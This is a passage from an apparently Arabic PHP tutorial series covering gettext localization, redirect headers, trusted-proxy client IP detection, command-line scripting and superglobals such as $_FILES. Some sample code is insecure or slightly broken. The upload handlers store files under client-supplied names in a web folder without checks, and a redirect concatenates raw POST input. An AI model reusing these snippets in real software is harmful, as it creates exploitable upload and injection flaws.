(locale) وضبط جداول الترجمة واستدعاء gettext()‎ على أي سلسلة نصية تريد ترجمتها. <?php // ضبط اللغة إلى الفرنسية putenv('LC_ALL= fr_FR'); setlocale(LC_ALL, 'fr_FR'); // ‫تحديد موقع جداول الترجمة للنطاق 'myPHPApp' bindtextdomain("myPHPApp", "./locale"); // ‫اختيار النطاق 'myPHPApp' textdomain("myPHPApp"); الملف myPHPApp.po: #: /Hello_world.php:56 msgid "Hello" msgstr "Bonjour" #: /Hello_world.php:242 msgid "How are you?" msgstr "Comment allez-vous?" تحمّل الدالة gettext()‎ ملف ‎.po بعد تصريفه أي ملف ‎.mo، الذي يربط ملفك ليصبح سلاسل نصية مترجمة كما في الأعلى. بعد هذه الشيفرة البسيطة سيُنظر إلى الترجمة في الملف التالي: ./locale/fr_FR/LC_MESSAGES/myPHPApp.mo عندما تستدعي gettext('some string')‎، إذا كانت السلسلة النصية 'some string' مُترجمة في الملف ‎.mo ستُرجع الترجمة وإلا ستُرجع السلسلة 'some string' غير مترجمة. // ‫طباعة النسخة المترجمة من 'Welcome to My PHP Application' echo gettext("Welcome to My PHP Application"); // ‫أو نستخدم الاسم البديل `‎_()‎` للدالة `gettext()‎` echo _("Have a nice day"); معالجة الترويسات الضبط الأساسي للترويسة إليك الضبط الأساسي لترويسة للانتقال إلى صفحة جديدة عند الضغط على زر: if(isset($_REQUEST['action'])) { switch($_REQUEST['action']) { // ضبط الترويسة بالاعتماد على أي الزر المضغوط case 'getState': header("Location: http://NewPageForState.com/getState.php?search=" . $_POST['search']); break; case 'getProject': header("Location: http://NewPageForProject.com/getProject.php?search=" . $_POST['search']); break; } else { GetSearchTerm(!NULL); } // نماذج لإضافة ولاية أو مشروع والضغط على البحث function GetSearchTerm($success) { if (is_null($success)) { echo "<h4>You must enter a state or project number</h4>"; } echo "<center><strong>Enter the State to search for</strong></center><p></p>"; // ‫استخدام `‎$_SERVER['PHP_SELF']‎` يبقينا في الصفحة حتى تقرر تعليمة `switch` أين سنذهب echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' method='POST'> <input type='hidden' name='action' value='getState'> <center>State: <input type='text' name='search' size='10'></center><p></p> <center><input type='submit' name='submit' value='Search State'></center> </form>"; GetSearchTermProject($success); } function GetSearchTermProject($success) { echo "<center><br><strong>Enter the Project to search for</strong></center><p></p>"; echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' method='POST'> <input type='hidden' name='action' value='getProject'> <center>Project Number: <input type='text' name='search' size='10'></center><p></p> <center><input type='submit' name='submit' value='Search Project'></center> </form>"; } ?> كيفية كشف عنوان IP لعميل الاستخدام المناسب للترويسة HTTPXFORWARDED_FOR يوجد متغير آخر يُستخدم بشكلٍ سيء على نطاق واسع في ضوء أحدث ثغرات httpoxy، تُستخدم الترويسة HTTP_X_FORWARDED_FOR غالبًا لكشف عنوان IP لعميل، لكن قد يؤدي ذلك بدون أي عمليات تحقق إضافية إلى مشاكل في الأمان خاصةً عند استخدام عنوان IP هذا لاحقًا للمصادقة أو في استعلامات SQL بدون تعقيم. تتجاهل معظم أمثلة الشيفرة المتوفرة حقيقة أنّه يمكن أن نعد HTTP_X_FORWARDED_FOR معلومةً يوفرها العميل بنفسه ولذا فهي مصدر غير موثوق لاكتشاف عنوان IP العميل، تضيف بعض هذه الأمثلة تحذيرًا بشأن سوء الاستخدام المحتمل لكنها لا تزال تفتقد إلى القيام بالتحقق في شيفرتها، لذا نقدم لك مثالًا عن دالة مكتوبة في PHP عن كيفية كشف عنوان IP لعميل إذا كنت تعرف أنّ العميل يستخدم وكيلًا (proxy) وأنت تعرف أنّه يمكن الوثوق بهذا الوكيل، إذا لم تكن تعرف أي وكيل موثوق فيمكنك استخدام REMOTE_ADDR فقط. function get_client_ip() { // لا يوجد شيء لفعله بدون معلومات موثوقة if (!isset($_SERVER['REMOTE_ADDR'])) { return NULL; } // ‫الترويسة التي يستخدمها الوكيل الموثوق للإشارة إلى عنوان IP الأصلي $proxy_header = "HTTP_X_FORWARDED_FOR"; // (1) $trusted_proxies = array("2001:db8::1", "192.168.50.1"); if (in_array($_SERVER['REMOTE_ADDR'], $trusted_proxies)) { // ‫الحصول على عنوان IP للعميل الذي يستخدم وكيل موثوق if (array_key_exists($proxy_header, $_SERVER)) { // (2) $client_ip = trim(end(explode(",", $_SERVER[$proxy_header]))); // التحقق فقط في حالة if (filter_var($client_ip, FILTER_VALIDATE_IP)) { return $client_ip; } else { // (3) } } } // ‫في كل الحالات الباقية REMOTE_ADDR هو عنوان IP الوحيد الذي يمكن الوثوق به return $_SERVER['REMOTE_ADDR']; } print get_client_ip(); في الموضع (1) نضيف قائمة بكل الوكلاء المعروفين لمعالجة 'proxy_header' بطريقةٍ آمنةٍ. في الموضع (2) يمكن أن تحتوي الترويسة على عدة عناوين IP لوكلاء تمر عبرها، يمكن الوثوق فقط بعنوان IP الذي أضافه الوكيل الأخير (الموجود في القائمة). في الموضع (3) فشل التحقق مما يعني فوز الشخص الذي ضَبط الوكيل أو أنشأ قائمة الوكلاء الموثوقين لذا يجب إضافة معالجة للأخطاء هنا والتنبيه على خطأ الشخص المسؤول. ترجمة -وبتصرف- للفصول [Coding Conventions - Asynchronous programming - Localization - Headers Manipulation - How to Detect Client IP Address] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: معالجة الصور مع مكتبة GD ومكتبة Imagick في PHP المقال السابق: التعامل مع واجهة سطر الأوامر (CLI) في PHP
  9. معالجة خيارات البرنامج يمكن معالجة خيارات البرنامج باستخدام الدالة getopt()‎، التي تعمل بصيغة مشابهة للأمر getopt في معايير POSIX مع دعم إضافي للخيارات الطويلة ذات النمط GNU. #!/usr/bin/php // تشير النقطتين إلى خيار يأخذ قيمة // تشير النقطتين المضاعفتين إلى قيمة يمكن إهمالها $shortopts = "hf:v::d"; // ‫الخيارات الطويلة ذات النمط GNU غير مطلوبة $longopts = ["help", "version"]; $opts = getopt($shortopts, $longopts); // ‫تُسند القيمة المنطقية false للخيارات التي ليس لها قيم، يجب التحقق من وجودها وليس صدقها if (isset($opts["h"]) || isset($opts["help"])) { fprintf(STDERR, "Here is some help!\n"); exit; } // ‫تُستدعى الخيارات الطويلة مع شرطتين: "‎--version" if (isset($opts["version"])) { fprintf(STDERR, "%s Version 223.45" . PHP_EOL, $argv[0]); exit; } // ‫يمكن استدعاء الخيارات ذات القيم بالشكل "‎-f foo" أو ‏"‎-ffoo" أو "‎-f=foo" $file = ""; if (isset($opts["f"])) { $file = $opts["f"]; } if (empty($file)) { fprintf(STDERR, "We wanted a file!" . PHP_EOL); exit(1); } fprintf(STDOUT, "File is %s" . PHP_EOL, $file); // ‫يمكن استدعاء الخيارات ذات القيم الافتراضية بالشكل "‎-v5" أو "‎-v=5" $verbosity = 0; if (isset($opts["v"])) { $verbosity = ($opts["v"] === false) ? 1 : (int)$opts["v"]; } fprintf(STDOUT, "Verbosity is %d" . PHP_EOL, $verbosity); // تُمرَّر الخيارات التي نستدعيها عدة مرات كمصفوفة $debug = 0; if (isset($opts["d"])) { $debug = is_array($opts["d"]) ? count($opts["d"]) : 1; } fprintf(STDOUT, "Debug is %d" . PHP_EOL, $debug); // ‫لا توجد طريقة تلقائية عند getopt لمعالجة الخيارات غير المتوقعة يمكن اختبار السكربت السابق بالشكل: ./test.php --help ./test.php --version ./test.php -f foo -ddd ./test.php -v -d -ffoo ./test.php -v5 -f=foo ./test.php -f foo -v 5 -d لاحظ أنّ الطريقة الأخيرة لن تعمل لأنّ ‎-v 5 غير صحيحة. ملاحظة: يعدّ الأمر getopt بدءًا من الإصدار PHP 5.3.0 مستقلًا عن نظام التشغيل ويعمل أيضًا على نظام ويندوز. معالجة الوسيط تُمرَّر الوسائط إلى البرنامج بطريقة مشابهة لمعظم اللغات ذات النمط C، إنّ ‎$argc عدد صحيح يعبّر عن عدد الوسائط متضمنةً اسم البرنامج و‎$argv مصفوفة تتضمن وسائط البرنامج. العنصر الأول من ‎$argv هو اسم البرنامج. #!/usr/bin/php printf("You called the program %s with %d arguments\n", $argv[0], $argc - 1); unset($argv[0]); foreach ($argv as $i => $arg) { printf("Argument %d is %s\n", $i, $arg); } استدعاء التطبيق السابق باستخدام php example.php foo bar (حيث يتضمن الملف example.php الشيفرة السابقة) سيؤدي إلى الخرج التالي: You called the program example.php with 2 arguments Argument 1 is foo Argument 2 is bar لاحظ أنّ ‎$argc و‎$argv هي متغيرات عامة وليست متغيرات ذات نطاق عام عالي، ويجب استيرادها إلى النطاق المحلي باستخدام الكلمة المفتاحية global عندما نحتاج إلى استخدامها في دالة ما. يُظهر هذا المثال كيف تُجمَّع الوسائط عندما نهرب باستخدام "" أو \. مثال عن سكربت: var_dump($argc, $argv); سطر الأوامر: $ php argc.argv.php --this-is-an-option three\ words\ together or "in one quote" but\ multiple\spaces\ counted\ as\ one int(6) array(6) { [0]=> string(13) "argc.argv.php" [1]=> string(19) "--this-is-an-option" [2]=> string(20) "three words together" [3]=> string(2) "or" [4]=> string(12) "in one quote" [5]=> string(34) "but multiple spaces counted as one" } إذا نُفِّذ سكربت PHP باستخدام ‎-r: $ php -r 'var_dump($argv);' array(1) { [0]=> string(1) "-" } أو تُرسل الشيفرة عبر أنبوب في مجرى الدخل القياسي php: $ echo '<?php var_dump($argv);' | php array(1) { [0]=> string(1) "-" } معالجة الدخل والخرج إنّ الثوابت STDIN وSTDOUT وSTDERR معرَّفة مسبقًا عند التنفيذ من واجهة سطر الأوامر (CLI)، وهي مقابض للملف يمكن أن نعدّها مكافئة لنتائج تنفيذ الأوامر التالية: STDIN = fopen("php://stdin", "r"); STDOUT = fopen("php://stdout", "w"); STDERR = fopen("php://stderr", "w"); يمكن استخدام الثوابت في أي مكان يكون مقبض الملف القياسي فيه: #!/usr/bin/php while ($line = fgets(STDIN)) { $line = strtolower(trim($line)); switch ($line) { case "bad": fprintf(STDERR, "%s is bad" . PHP_EOL, $line); break; case "quit": exit; default: fprintf(STDOUT, "%s is good" . PHP_EOL, $line); break; } } يمكن استخدام عناوين المجرى المضمَّن المُشار إليها سابقًا php://stdin وphp://stdout وphp://stderr مكان أسماء الملفات في معظم الحالات: file_put_contents('php://stdout', 'This is stdout content'); file_put_contents('php://stderr', 'This is stderr content'); // فتح المقبض والكتابة عدة مرات $stdout = fopen('php://stdout', 'w'); fwrite($stdout, 'Hello world from stdout' . PHP_EOL); fwrite($stdout, 'Hello again'); fclose($stdout); يمكن أن تستخدم أيضًا الدالة readline()‎ كبديل للدخل وتستخدم echo أو print أو أي دالة من دوال طباعة السلسلة النصية كبديل للخرج. $name = readline("Please enter your name:"); print "Hello, {$name}."; الشيفرات المُعادة يمكن استخدام البنية exit لتمرير شيفرة معادة إلى بيئة التنفيذ. #!/usr/bin/php if ($argv[1] === "bad") { exit(1); } else { exit(0); } ستُرجَع شيفرة الخروج 0 بشكلٍ افتراضي إذا لم تُمرَّر قيمة أي أنّ exit نفس exit(0)‎ وبما أنّ exit ليست دالة فإنّ الأقواس غير ضرورية إذا لم تُمرَّر شيفرة معادة. يجب أن تكون الشيفرات المُعادة في المجال بين 0 و254 (الشيفرة 255 محجوزة من قِبَل PHP ويجب عدم استخدامها)، اصطلاحًا إنّ الخروج بالشيفرة المُرجعة 0 تُخبر البرنامج المُستدعي أنّ سكربت PHP نُفِّذ بنجاح أما الشيفرة المرجعية غير الصفرية تُخبر البرنامج المستدعي بحدوث حالة خطأ محددة. قصر تنفيذ السكربت على سطر الأوامر يُرجع كل من الدالة php_sapi_name()‎ والثابت PHP_SAPI نوع الواجهة (واجهة برمجة تطبيقات الخادم Server API) التي تستخدمها PHP، ويمكن استخدامها لقصر تنفيذ السكربت على سطر الأوامر عن طريق التحقق فيما إذا كان خرج الدالة يساوي cli. if (php_sapi_name() === 'cli') { echo "Executed from command line\n"; } else { echo "Executed from web browser\n"; } الدالة drupal_is_cli()‎ هي مثال عن دالة تكتشف فيما إذا كان السكربت قد نُفِّذ من سطر الأوامر: function drupal_is_cli() { return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0))); } الاختلافات السلوكية في سطر الأوامر تعرض PHP عند التنفيذ من CLI بعض السلوكيات المختلفة عن السلوكيات عند التنفيذ على خادم ويب، يجب أن تتذكر هذه السلوكيات خاصةً في حالة تنفيذ نفس السكربت في البيئتين. لا يتغير المجلد عند التنفيذ على خادم ويب بل يبقى مجلد العمل الحالي للسكربت نفسه دائمًا، تفترض الشيفرة require("./stuff.inc");‎ أنّ الملف في نفس مجلد السكربت، أما في سطر الأوامر فإنّ مجلد العمل الحالي هو المجلد الذي يُستدعى منه السكربت، يجب أن تستخدم السكربتات التي ستُستدعى من سطر الأوامر مسارات مطلقة. (لاحظ أنّ الثوابت السحرية __DIR__ و__FILE__ تبقى تعمل كما هو متوقع وتُرجع موقع السكربت). لا يوجد مخزن مؤقت للخرج، القيم الافتراضية لموجهات الملف php.ini ‏output_buffering وimplicit_flush هي false وtrue على الترتيب. ويبقى المخزن المؤقت متوفرًا لكن يجب تمكينه بشكلٍ صريح وإلا سيُعرض الخرج دائمًا في الوقت الحقيقي. لا يوجد قيد زمني، يُضبط الموجه max_execution_time في الملف php.ini إلى القيمة صفر لذا لن ينتهي وقت تنفيذ السكربتات بشكلٍ افتراضي. لا توجد أخطاء HTML، إذا مكّنت الموجّه html_errors في ملف php.ini سيتجاهله سطر الأوامر. يمكن تحميل ملفات php.ini مختلفة، إذا كنت تستخدم PHP من CLI يمكنك تحميل ملفات php.ini مختلفة وهذا غير متاح عند التنفيذ على خادم ويب، يمكنك أن تعرف ما هو الملف المستخدم بتنفيذ الأمر php ‎--ini‎. تنفيذ السكربت في كل من لينوكس/يونكس أو ويندوز يمكن تمرير الملف كوسيط إلى PHP القابلة للتنفيذ مع خيارات ووسائط السكربت: php ~/example.php foo bar c:\php\php.exe c:\example.php foo bar تمرر الشيفرة السابقة الوسائط foo وbar إلى الملف example.php. الطريقة المفضلة لتنفيذ السكربتات في لينوكس/يونكس هي استخدام Shebang (سطر يبدأ بالسلسلة النصية "‎ #! ‎") مثل ‎#!/usr/bin/env php في السطر الأول من الملف وضبط البت القابل للتنفيذ على الملف، بفرض أنّ السكربت في مسارك يمكنك عندها استدعاؤه مباشرةً: example.php foo bar إنّ استخدام ‎/usr/bin/env php‎ يجعل من الممكن العثور على PHP القابلة للتنفيذ باستخدام PATH. وفقًا لكيفية تثبيت PHP قد لا تكون موجودة في نفس المكان (مثل ‎/usr/bin/php‎ أو ‎/usr/local/bin/php) على عكس env المتوفرة عادةً في ‎/usr/bin/env. في ويندوز قد تحصل على نفس النتيجة بإضافة مجلد PHP والسكربت الخاص بك إلى PATH وتعديل PATHEXT ليسمح باكتشاف ‎.php باستخدام PATH، الاحتمال الآخر هو إضافة ملف باسم example.bat أو example.cmd في نفس المجلد الموجود به سكربت PHP وكتابة هذا السطر فيه: c:\php\php.exe "%~dp0example.php" %* أو إذا أضفت مجلد PHP داخل PATH: php "%~dp0example.php" %* حالات متقدمة لاستخدام getopt()‎ يظهر هذا المثال سلوك getopt عندما يكون دخل المستخدم غير شائع، محتويات الملف getopt.php: var_dump( getopt("ab:c::", ["delta", "epsilon:", "zeta::"]) ); سطر أوامر الصدفة: $ php getopt.php -a -a -bbeta -b beta -cgamma --delta --epsilon --zeta --zeta=f -c gamma array(6) { ["a"]=> array(2) { [0]=> bool(false) [1]=> bool(false) } ["b"]=> array(2) { [0]=> string(4) "beta" [1]=> string(4) "beta" } ["c"]=> array(2) { [0]=> string(5) "gamma" [1]=> bool(false) } ["delta"]=> bool(false) ["epsilon"]=> string(6) "--zeta" ["zeta"]=> string(1) "f" } يمكننا أن نلاحظ من المثال السابق: تحمل الخيارات الفردية (بدون نقطتان) دائمًا القيمة المنطقية false إذا مُكِّنت. إذا كُرِّر خيار ما فإنّ قيمة خرج getopt ستصبح مصفوفة. تقبل خيارات الوسيط المطلوب (بنقطتين) فراغ واحد أو عدم وجود فراغ (مثل خيارات الوسيط الاختيارية) كفاصل. بعد وجود وسيط واحد لا يمكن ربطه بأي خيار فإنّ الخيارات التالية لن تُربط أيضًا. تشغيل خادم ويب مدمج أصبحت PHP بدءًا من الإصدار PHP 5.4 تأتي مع خادم مدمج، يمكن استخدامه لتنفيذ تطبيق بدون الحاجة لتثبيت أي خادم http مثل nginx أو apache، صُمم الخادم المدمج في بيئة المتحكم فقط لأهداف التطوير والاختبار، يمكن تنفيذه باستخدام الأمر php -S ولاختباره ننشئ الملف index.php ونكتب فيه: <?php echo "Hello World from built-in PHP server"; وننفذ الأمر: php -S localhost:8080 يجب أن تكون الآن قادرًا على رؤية المحتوى في المتصفح، للتحقق من ذلك انتقل إلى المسار http://localhost:8080 ، ويجب أن يؤدي كل وصول إلى مدخل سجل يُكتب في الطرفية (Terminal). [Mon Aug 15 18:20:19 2016] ::1:52455 [200]: / ترجمة -وبتصرف- للفصل [Command Line Interface (CLI)‎] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: اصطلاحات ومواضيع متفرقة مهمة لكل مبرمج PHP المقال السابق: ملاحظات حول استعمال بروتوكول IMAP في PHP
  10. هي متغيرات مدمجة معرّفة مسبقًا في لغة PHP على أنّها متغيرات ذات نطاق عام عالي، وهذا يعني أنّها متاحة دائمًا في جميع نطاقات السكربت دون الحاجة لتعريفها باستخدام الكلمة المفتاحية global للوصول إليها من داخل الدوال أو التوابع. شرح المتغيرات ذات النطاق العام العالي ببساطة هي المتغيرات المتاحة في كل نطاقات ملفات السكربت لديك، وهذا يعني أنّه لا حاجة لتمريرها كمعاملات للدوال أو تخزينها خارج كتلة الشيفرة لتصبح متاحة في مختلف النطاقات. ما هو المتغير ذو النطاق العام العالي؟ بدءًا من الإصدار 7.1.3 PHP هناك 9 متغيرات ذات نطاق عام عالي وهي: ‎$GLOBALS‎: تشير إلى كل المتغيرات المتاحة في النطاق العام ‎$_SERVER‎: معلومات الخادم وبيئة التنفيذ ‎$_GET: متغيرات طلب HTTP باستخدام GET ‎$_POST: متغيرات طلب HTTP باستخدام POST ‎$_FILES: متغيرات طلب HTTP لتحميل ملف ‎$_COOKIE: ملفات تعريف ارتباط HTTP ‏(HTTP Cookies) ‎$_SESSION: متغيرات الجلسة ‎$_REQUEST: متغيرات طلب HTTP ‎:$_ENV متغيرات البيئة يمكنك الاطلاع عليها في التوثيق الرسمي إليك المزيد من المعلومات حول هذه المتغيرات: ‎$GLOBALS مصفوفة ترابطية (associative array) تحوي مراجعًا لكل المتغيرات المعرّفة في النطاق العام للسكربت، وتمثّل المفاتيح فيها أسماء المتغيرات وقيمة عناصرها هي محتويات تلك المتغيرات. // تعريف متغير خارج النطاق $myGlobal = "global"; function test() { // تعريف متغير داخل النطاق $myLocal = "local"; // طباعة كلا المتغيرين var_dump($myLocal); var_dump($GLOBALS["myGlobal"]); } // تنفيذ الدالة test(); لم يعرّف ضمن النطاق العام $myLocal ‏‎‏فقط بما أنّ $myGlobal ستُطبَع قيمة المتغير var_dump($myLocal); var_dump($myGlobal); خرج الشيفرة السابقة: string 'local' (length=5) string 'global' (length=6) null string 'global' (length=6) في المثال السابق لم تُعرض قيمة المتغير ‎$myLocal في المرة الثانية لأنّه معرّف داخل الدالة test‎‎()‎ ودُمِّر بعد إغلاقها. تعريف متغير عام هناك طريقتان للتعريف: الطريقة الأولى: استخدام الكلمة المفتاحية global: function test() { global $myLocal; $myLocal = "local"; var_dump($myLocal); var_dump($GLOBALS["myGlobal"]); } تسبق الكلمة المفتاحية global اسم المتغير ليصبح جزءًا من النطاق العام، ولا يمكن إسناد قيمة للمتغير في نفس التعليمة التي تعرّفه متغيرًا عامًا لذا أُسندَت القيمة له في سطرٍ منفصلٍ من الشيفرة السابقة، يمكن ذلك فقط في حال كتبت الشيفرة في سطرٍ واحد بالشكل التالي: global $myLocal; $myLocal = "local"; لكن سيؤثر ذلك بالتأكيد على أناقة الشيفرة. الطريقة الثانية: مصفوفة ‎$GLOBALS: function test() { $GLOBALS["myLocal"] = "local"; $myLocal = $GLOBALS["myLocal"]; var_dump($myLocal); var_dump($GLOBALS["myGlobal"]); } في هذا المثال أعدت إسناد القيمة ["‎$GLOBAL["myLocal للمتغير ‎$myLocal إذ وجدت أن كتابة اسم المتغير أسهل من كتابة المصفوفة الترابطية. ‎$_SERVER ‎$_SERVER هي مصفوفة تتضمن معلومات مثل الترويسات والمسارات وأماكن وجود السكربت. ينشئ خادم الويب مداخل هذه المصفوفة لكن ليس هناك ما يضمن أن خادم الويب سيزودنا بهذه المعلومات فقد يحذف خادم الويب بعضها أو قد يزودنا بمعلومات إضافية، يمكنك الاطلاع على جميع المتغيرات المتوقعة هنا. إليك مثال خرج يمكن أن يكون كالتالي (يمكنك تشغيله عبر جهاز بنظام تشغيل ويندوز على الخادم WAMP): C:\wamp64\www\test.php:2: array (size=36) 'HTTP_HOST' => string 'localhost' (length=9) 'HTTP_CONNECTION' => string 'keep-alive' (length=10) 'HTTP_CACHE_CONTROL' => string 'max-age=0' (length=9) 'HTTP_UPGRADE_INSECURE_REQUESTS' => string '1' (length=1) 'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36' (length=110) 'HTTP_ACCEPT' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' (length=74) 'HTTP_ACCEPT_ENCODING' => string 'gzip, deflate, sdch, br' (length=23) 'HTTP_ACCEPT_LANGUAGE' => string 'en-US,en;q=0.8,en-GB;q=0.6' (length=26) 'HTTP_COOKIE' => string 'PHPSESSID=0gslnvgsci371ete9hg7k9ivc6' (length=36) 'PATH' => string 'C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files (x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS Client\;C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem ;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;E:\Program Files\ATI Technologies\ATI.ACE\Core- Static;E:\Program Files\AMD\ATI.ACE\Core-Static;C:\Program Files (x86)\AMD\ATI.ACE\Core- Static;C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static;C:\Program Files\Intel\Intel(R) Managemen'... (length=1169) 'SystemRoot' => string 'C:\WINDOWS' (length=10) 'COMSPEC' => string 'C:\WINDOWS\system32\cmd.exe' (length=27) 'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY' (length=57) 'WINDIR' => string 'C:\WINDOWS' (length=10) 'SERVER_SIGNATURE' => string '<address>Apache/2.4.23 (Win64) PHP/7.0.10 Server at localhost Port 80</address>' (length=80) 'SERVER_SOFTWARE' => string 'Apache/2.4.23 (Win64) PHP/7.0.10' (length=32) 'SERVER_NAME' => string 'localhost' (length=9) 'SERVER_ADDR' => string '::1' (length=3) 'SERVER_PORT' => string '80' (length=2) 'REMOTE_ADDR' => string '::1' (length=3) 'DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13) 'REQUEST_SCHEME' => string 'http' (length=4) 'CONTEXT_PREFIX' => string '' (length=0) 'CONTEXT_DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13) 'SERVER_ADMIN' => string 'wampserver@wampserver.invalid' (length=29) 'SCRIPT_FILENAME' => string 'C:/wamp64/www/test.php' (length=26) 'REMOTE_PORT' => string '5359' (length=4) 'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7) 'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8) 'REQUEST_METHOD' => string 'GET' (length=3) 'QUERY_STRING' => string '' (length=0) 'REQUEST_URI' => string '/test.php' (length=13) 'SCRIPT_NAME' => string '/test.php' (length=13) 'PHP_SELF' => string '/test.php' (length=13) 'REQUEST_TIME_FLOAT' => float 1491068771.413 'REQUEST_TIME' => int 1491068771 هناك الكثير من الأشياء التي يمكن أن نتحدث عنها لكن سنختار الأهم من بينها، يمكنك الاطلاع عليها كلها من خلال قسم الفهارس من التوثيق. لنوضح بعضها نفرض أنّ لدينا الرابط التالي http://www.example.com/index.php HTTP_HOST: عنوان المضيف، يرجع www.example.com. HTTP_USER_AGENT: محتويات وكيل المستخدم (user agent)، عبارة عن سلسلة نصية تحوي كل معلومات متصفح العميل (client's browser) بما في ذلك نظام التشغيل. HTTP_COOKIE: جميع ملفات تعريف الارتباط (cookies) في سلسلة متسلسلة يفصل بين عناصرها فاصلة منقوطة. SERVER_ADDR: عنوان IP الخادم الذي ينفذ السكربت، يرجع القيمة 93.184.216.34. PHP_SELF: اسم ملف السكربت المنفّذ حاليًا نسبةً إلى المستند الجذر، يرجع في حالتنا القيمة /index.php. REQUEST_TIME_FLOAT: الختم الزمني (timestamp) لبداية الطلب بدقة أجزاء الثانية، متاح من الإصدار PHP 5.4.0. REQUEST_TIME: الختم الزمني لبداية الطلب، متاح من الإصدار PHP 5.1.0. ‎:$_GET مصفوفة ترابطية من المتغيرات الممررة عبر معاملات الرابط إلى السكربت الحالي، أي ما يأتي بعد ? في الرابط. بفرض لدينا الرابط http://www.example.com/index.php?myVar=myVal، يمكننا الحصول من الرابط على قيمة ‎$_GET["myVar"]‎ وستكون النتيجة هي myVal، يمكننا التعبير عن ذلك بالشيفرة التالية: // URL = http://www.example.com/index.php?myVar=myVal echo $_GET["myVar"] == "myVal" ? "true" : "false"; // true يستخدم المثال السابق العامل الثلاثي (ternary operator)، ويبيّن كيفية الوصول للقيمة من الرابط باستخدام المتغير ذو النطاق العام العالي ‎$_GET. إليك مثال آخر: // URL = http://www.example.com/index.php?myVar=myVal&myVar2=myVal2 echo $_GET["myVar"]; // "myVal" echo $_GET["myVar2"]; // "myVal2" يمكن إرسال عدة متغيرات عبر الرابط ويُفصل بينها بالمحرف (&). الخطر الأمني من المهم جدًا عدم إرسال معلومات حساسة عبر الرابط لأنها تبقى في سجل الحاسوب وستكون مرئية لأي شخص يمكنه الوصول للمتصفح. ‎$_POST مصفوفة ترابطية من المتغيرات الممررة للسكربت الحالي بطريقة HTTP POST عند استخدام نوع المحتوى (Content-Type) لطلب HTTP ‏application/x-www-form-urlencoded أو multipart/form-data، وتشبه مصفوفة ‎$_GET أنّ البيانات ممررة من مكان لآخر. سنبدأ فورًا بمثال (تجاهلت الخاصيّة attribute حتى تُرسل المعلومات إلى نفس صفحة النموذج). <form method="POST"> <input type="text" name="myVar" value="myVal" /> <input type="submit" name="submit" value="Submit" /> </form> في الأعلى شكل أساسي لنموذج إرسال البيانات، إنّ عدم وجود الخاصيّة value في التطبيق الحقيقي يعني أنّ النموذج سيكون فارغًا، أما وجودها سيرسل المعلومات المُدخلة من قِبل المستخدم. echo $_POST["myVar"]); // "myVal" الخطر الأمني إنّ إسال البيانات باستخدام POST ليس آمنًا دائمًا، يجب استخدام HTTPS لضمان أمن المعلومات بشكلٍ أكبر. ‎$_FILES مصفوفة ترابطية من العناصر المحمّلة إلى السكربت الحالي بطريقة HTTP POST، بنية هذه المصفوفة مبينة هنا. لنبدأ مع نموذج أساسي: <form method="POST" enctype="multipart/form-data"> <input type="file" name="myVar" /> <input type="submit" name="Submit" /> </form> لاحظ أنّني تجاهلت خاصيّة action أيضًا (لنفس السبب السابق)، وأضفت enctype="multipart/form-data"‎ وهذا ضروري لأيّ نموذج يتعامل مع تحميل الملفات. // التأكد من عدم وجود خطأ if ($_FILES["myVar"]["error"] == UPLOAD_ERR_OK) { $folderLocation = "myFiles"; // مثلًا "path/to/file" مسار منسوب يمكن أن يكون // إذا لم يوجد المجلد المطلوب أنشئه if (!file_exists($folderLocation)) mkdir($folderLocation); // انقل الملف داخل المجلد move_uploaded_file($_FILES["myVar"]["tmp_name"], "$folderLocation/" . basename($_FILES["myVar"]["name"])); } يُستخدم هذا لتحميل ملف واحد، يوجد الخاصيّة multiple تساعدك في تحميل أكثر من ملف. إليك مثال لإرسال نموذج بعدة ملفات: <form method="POST" enctype="multipart/form-data"> <input type="file" name="myVar[]" multiple="multiple" /> <input type="submit" name="Submit" /> </form> لاحظ أنّ التغييرات قليلة جدًا: خاصيّة name للحقل input لها أقواس معقوفة []. ذلك لأنّه نريد إخبار النموذج أنّه لدينا مصفوفة ملفات مُختارة لإرسالها وتجاهل هذه الأقواس سيؤدي لإرسال الملف الأخير فقط إلى ‎$_FILES["myVar"]‎. الخاصيّة multiple="multiple"‎، تُخبر المتصفح أنّه يمكن للمستخدم اختيار أكثر من ملف. // حساب عدد الملفات المُرسلة $total = isset($_FILES["myVar"]) ? count($_FILES["myVar"]["name"]) : 0; // تكرار لكل ملف من الملفات for ($i = 0; $i < $total; $i++) { // إذا لم يوجد خطأ if ($_FILES["myVar"]["error"][$i] == UPLOAD_ERR_OK) { // مثلًا "path/to/file" مسار منسوب يمكن أن يكون $folderLocation = "myFiles"; // إذا لم يوجد المجلد أنشئه if (!file_exists($folderLocation)) mkdir($folderLocation); // انقل الملف إلى المجلد move_uploaded_file($_FILES["myVar"]["tmp_name"][$i], "$folderLocation/" . basename($_FILES["myVar"]["name"][$i])); } // وإلّا أخبر عن الخطأ else switch ($_FILES["myVar"]["error"][$i]) { case UPLOAD_ERR_INI_SIZE: echo "Value: 1; The uploaded file exceeds the upload_max_filesize directive in php.ini."; break; case UPLOAD_ERR_FORM_SIZE: echo "Value: 2; The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form."; break; case UPLOAD_ERR_PARTIAL: echo "Value: 3; The uploaded file was only partially uploaded."; break; case UPLOAD_ERR_NO_FILE: 